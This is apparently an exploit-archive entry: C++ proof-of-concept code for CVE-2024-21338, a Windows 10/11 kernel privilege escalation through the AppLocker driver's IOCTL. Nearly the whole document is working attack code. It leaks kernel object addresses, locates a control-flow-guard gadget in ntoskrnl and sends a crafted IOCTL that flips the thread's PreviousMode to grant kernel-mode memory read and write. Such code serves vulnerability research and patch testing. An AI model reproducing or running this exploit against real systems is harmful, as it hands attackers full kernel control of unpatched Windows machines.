Microsoft Windows 11 - Kernel Privilege Escalation

# Exploit Title: Microsoft Windows 11 - Kernel Privilege Escalation
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win, Ubuntu
# CVE : CVE-2024-21338



#include "pch.hpp"
#include "poc.hpp"

// This function is used to set the IOCTL buffer depending on the Windows
version
void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW*
os_info)
{
 os_info->dwOSVersionInfoSize = sizeof(*os_info);
 // Get the OS version
 NTSTATUS status = RtlGetVersion(os_info);
 if (!NT_SUCCESS(status)) {
  log_err("Failed to get OS version!");
  return nullptr;
 }

 log_debug("Windows version detected: %lu.%lu, build: %lu.",
os_info->dwMajorVersion, os_info->dwMinorVersion, os_info->dwBuildNumber);

 // "PreviousMode" offset in ETHREAD structure
 *k_thread_offset = 0x232;
 // Set the "AipSmartHashImageFile" function buffer depending on the
Windows version
 void* ioctl_buffer_alloc = os_info->dwBuildNumber < 22000
  ? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10))
  : malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11));

 return ioctl_buffer_alloc;
}

// This function is used to get the ETHREAD address through the
SystemHandleInformation method that is used to get the address of the
current thread object based on the pseudo handle -2
UINT_PTR c_poc::get_ethread_address()
{
 // Duplicate the pseudo handle -2 to get the current thread object
 HANDLE h_current_thread_pseudo = reinterpret_cast<HANDLE>(-2);
 HANDLE h_duplicated_handle = {};

 if (!DuplicateHandle(
  reinterpret_cast<HANDLE>(-1),
  h_current_thread_pseudo,
  reinterpret_cast<HANDLE>(-1),
  &h_duplicated_handle,
  NULL,
  FALSE,
  DUPLICATE_SAME_ACCESS))
 {
  log_err("Failed to duplicate handle, error: %lu", GetLastError());
  return EXIT_FAILURE;
 }

 NTSTATUS status = {};
 ULONG ul_bytes = {};
 PSYSTEM_HANDLE_INFORMATION h_table_info = {};
 // Get the current thread object address
 while ((status = NtQuerySystemInformation(SystemHandleInformation,
h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH)
 {
  if (h_table_info != NULL)
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, (2 * (SIZE_T)ul_bytes));
  else
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, (2 * (SIZE_T)ul_bytes));
 }

 UINT_PTR ptr_token_address = 0;
 if (NT_SUCCESS(status)) {
  for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {
   if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
    h_table_info->Handles[i].HandleValue ==
    reinterpret_cast<USHORT>(h_duplicated_handle)) {
    ptr_token_address =
     reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);
    break;
   }
  }
 }
 else {
  if (h_table_info) {
   log_err("NtQuerySystemInformation failed, (code: 0x%X)", status);
   NtClose(h_duplicated_handle);
  }
 }

 return ptr_token_address;
}

// This function is used to get the FileObject address through the
SystemHandleInformation method that is used to get the address of the file
object.
UINT_PTR c_poc::get_file_object_address()
{
 // Create a dummy file to get the file object address
 HANDLE h_file = CreateFileW(L"C:\\Users\\Public\\example.txt",
  GENERIC_READ | GENERIC_WRITE,
  FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
  CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
 if (h_file == INVALID_HANDLE_VALUE) {
  log_err("Failed to open dummy file, error: %lu", GetLastError());
  return EXIT_FAILURE;
 }

 // Get the file object address
 NTSTATUS status = {};
 ULONG ul_bytes = 0;
 PSYSTEM_HANDLE_INFORMATION h_table_info = NULL;
 while ((status = NtQuerySystemInformation(
  SystemHandleInformation, h_table_info, ul_bytes,
  &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
  if (h_table_info != NULL)
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);
  else
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);

 }

 UINT_PTR token_address = 0;
 if (NT_SUCCESS(status)) {
  for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {
   if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
    h_table_info->Handles[i].HandleValue ==
    reinterpret_cast<USHORT>(h_file)) {
    token_address =
     reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);
    break;
   }
  }
 }

 return token_address;
}

// This function is used to get the kernel module address based on the
module name
UINT_PTR c_poc::get_kernel_module_address(const char* target_module)
{
 // Get the kernel module address based on the module name
 NTSTATUS status = {};
 ULONG ul_bytes = {};
 PSYSTEM_MODULE_INFORMATION h_table_info = {};
 while ((status = NtQuerySystemInformation(
  SystemModuleInformation, h_table_info, ul_bytes,
  &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
  if (h_table_info != NULL)
   h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);
  else
   h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);
 }

 if (NT_SUCCESS(status)) {
  for (ULONG i = 0; i < h_table_info->ModulesCount; i++) {
   if (strstr(h_table_info->Modules[i].Name, target_module) != nullptr) {
    return reinterpret_cast<UINT_PTR>(
     h_table_info->Modules[i].ImageBaseAddress);
   }
  }
 }

 return 0;
}

// This function is used to scan the section for the pattern.
BOOL c_poc::scan_section_for_pattern(HANDLE h_process, LPVOID
lp_base_address, SIZE_T dw_size, BYTE* pattern, SIZE_T pattern_size,
LPVOID* lp_found_address) {
 std::unique_ptr<BYTE[]> buffer(new BYTE[dw_size]);
 SIZE_T bytes_read = {};
 if (!ReadProcessMemory(h_process, lp_base_address, buffer.get(), dw_size,
  &bytes_read)) {
  return false;
 }

 for (SIZE_T i = 0; i < dw_size - pattern_size; i++) {
  if (memcmp(pattern, &buffer[i], pattern_size) == 0) {
   *lp_found_address = reinterpret_cast<LPVOID>(
    reinterpret_cast<DWORD_PTR>(lp_base_address) + i);
   return true;
  }
 }

 return false;
}

// This function is used to find the pattern in the module, in this case
the pattern is the nt!ExpProfileDelete function
UINT_PTR c_poc::find_pattern(HMODULE h_module)
{
 UINT_PTR relative_offset = {};

 auto* p_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(h_module);
 auto* p_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
  reinterpret_cast<LPBYTE>(h_module) + p_dos_header->e_lfanew);
 auto* p_section_header = IMAGE_FIRST_SECTION(p_nt_headers);

 LPVOID lp_found_address = nullptr;

 for (WORD i = 0; i < p_nt_headers->FileHeader.NumberOfSections; i++) {
  if (strcmp(reinterpret_cast<CHAR*>(p_section_header[i].Name), "PAGE") ==
   0) {
   LPVOID lp_section_base_address =
    reinterpret_cast<LPVOID>(reinterpret_cast<LPBYTE>(h_module) +
     p_section_header[i].VirtualAddress);
   SIZE_T dw_section_size = p_section_header[i].Misc.VirtualSize;

   // Pattern to nt!ExpProfileDelete
   BYTE pattern[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83,
    0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74 };
   SIZE_T pattern_size = sizeof(pattern);

   if (this->scan_section_for_pattern(
    GetCurrentProcess(), lp_section_base_address, dw_section_size,
    pattern, pattern_size, &lp_found_address)) {
    relative_offset = reinterpret_cast<UINT_PTR>(lp_found_address) -
     reinterpret_cast<UINT_PTR>(h_module);
   }

   break;
  }
 }

 return relative_offset;
}

// This function is used to send the IOCTL request to the driver, in this
case the AppLocker driver through the AipSmartHashImageFile IOCTL
bool c_poc::send_ioctl_request(HANDLE h_device, PVOID input_buffer, size_t
input_buffer_length)
{
 IO_STATUS_BLOCK io_status = {};
 NTSTATUS status =
  NtDeviceIoControlFile(h_device, nullptr, nullptr, nullptr, &io_status,
   this->IOCTL_AipSmartHashImageFile, input_buffer,
   input_buffer_length, nullptr, 0);
 return NT_SUCCESS(status);
}

// This function executes the exploit
bool c_poc::act() {
 // Get the OS version, set the IOCTL buffer and open a handle to the
AppLocker driver
 OSVERSIONINFOEXW os_info = {};
 size_t offset_of_previous_mode = {};
 auto ioctl_buffer = this->set_ioctl_buffer(&offset_of_previous_mode,
&os_info);

 if (!ioctl_buffer) {
  log_err("Failed to allocate the correct buffer to send on the IOCTL
request.");
  return false;
 }

 // Open a handle to the AppLocker driver
 OBJECT_ATTRIBUTES object_attributes = {};
 UNICODE_STRING appid_device_name = {};
 RtlInitUnicodeString(&appid_device_name, L"\\Device\\AppID");
 InitializeObjectAttributes(&object_attributes, &appid_device_name,
OBJ_CASE_INSENSITIVE, NULL, NULL, NULL);

 IO_STATUS_BLOCK io_status = {};
 HANDLE h_device = {};
 NTSTATUS status = NtCreateFile(&h_device, GENERIC_READ | GENERIC_WRITE,
  &object_attributes, &io_status, NULL, FILE_ATTRIBUTE_NORMAL,
  FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0);

 if (!NT_SUCCESS(status))
 {
  log_debug("Failed to open a handle to the AppLocker driver (%ls) (code:
0x%X)", appid_device_name.Buffer, status);
  return false;
 }

 log_debug("AppLocker (AppId) handle opened: 0x%p", h_device);

 log_debug("Leaking the current ETHREAD address.");

 // Get the ETHREAD address, FileObject address, KernelBase address and the
relative offset of the nt!ExpProfileDelete function
 auto e_thread_address = this->get_ethread_address();
 auto file_obj_address = this->get_file_object_address();

 auto ntoskrnl_kernel_base_address =
this->get_kernel_module_address("ntoskrnl.exe");
 auto ntoskrnl_user_base_address =
LoadLibraryExW(L"C:\\Windows\\System32\\ntoskrnl.exe", NULL, NULL);

 if (!e_thread_address && !ntoskrnl_kernel_base_address &&
!ntoskrnl_user_base_address && !file_obj_address)
 {
  log_debug("Failed to fetch the ETHREAD/FileObject/KernelBase addresses.");
  return false;
 }

 log_debug("ETHREAD address leaked: 0x%p", e_thread_address);
 log_debug("Feching the ExpProfileDelete (user cfg gadget) address.");
 auto relative_offset = this->find_pattern(ntoskrnl_user_base_address);
 UINT_PTR kcfg_gadget_address = (ntoskrnl_kernel_base_address +
relative_offset);

 ULONG_PTR previous_mode = (e_thread_address + offset_of_previous_mode);
 log_debug("Current ETHREAD PreviousMode address -> 0x%p", previous_mode);
 log_debug("File object address -> 0x%p", file_obj_address);

 log_debug("kCFG Kernel Base address -> 0x%p",
ntoskrnl_kernel_base_address);
 log_debug("kCFG User Base address -> 0x%p", ntoskrnl_user_base_address);
 log_debug("kCFG Gadget address -> 0x%p", kcfg_gadget_address);

 // Set the IOCTL buffer depending on the Windows version
 size_t ioctl_buffer_length = {};
 CFG_FUNCTION_WRAPPER kcfg_function = {};
 if (os_info.dwBuildNumber < 22000) {
  AIP_SMART_HASH_IMAGE_FILE_W10* w10_ioctl_buffer =
(AIP_SMART_HASH_IMAGE_FILE_W10*)ioctl_buffer;

  kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;
  // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in
ObfDereferenceObjectWithTag
  UINT_PTR previous_mode_obf = previous_mode + 0x30;

  w10_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00
  w10_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08
  w10_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10

  ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W10);
 }
 else
 {
  AIP_SMART_HASH_IMAGE_FILE_W11* w11_ioctl_buffer =
(AIP_SMART_HASH_IMAGE_FILE_W11*)ioctl_buffer;

  kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;
  // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in
ObfDereferenceObjectWithTag
  UINT_PTR previous_mode_obf = previous_mode + 0x30;

  w11_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00
  w11_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08
  w11_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10
  w11_ioctl_buffer->Unknown = NULL; // +0x18

  ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W11);
 }

 // Send the IOCTL request to the driver
 log_debug("Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)");
 char* buffer = (char*)malloc(sizeof(CHAR));
 if (ioctl_buffer)
 {
  log_debug("ioctl_buffer -> 0x%p size: %d", ioctl_buffer,
ioctl_buffer_length);

  if (!this->send_ioctl_request(h_device, ioctl_buffer,
ioctl_buffer_length))
   return false;

  NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer,
(PVOID)previous_mode, sizeof(CHAR), nullptr);
  log_debug("Current PreviousMode -> %d", *buffer);

  // From now on all Read/Write operations will be done in Kernel Mode.
 }

 log_debug("Restoring...");
 // Restores PreviousMode to 1 (user-mode).
 *buffer = 1;
 NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)previous_mode,
(PVOID)buffer, sizeof(CHAR), nullptr);
 log_debug("Current PreviousMode -> %d", *buffer);

 // Free the allocated memory and close the handle to the AppLocker driver
 free(ioctl_buffer);
 free(buffer);
 NtClose(h_device);


 return true;
}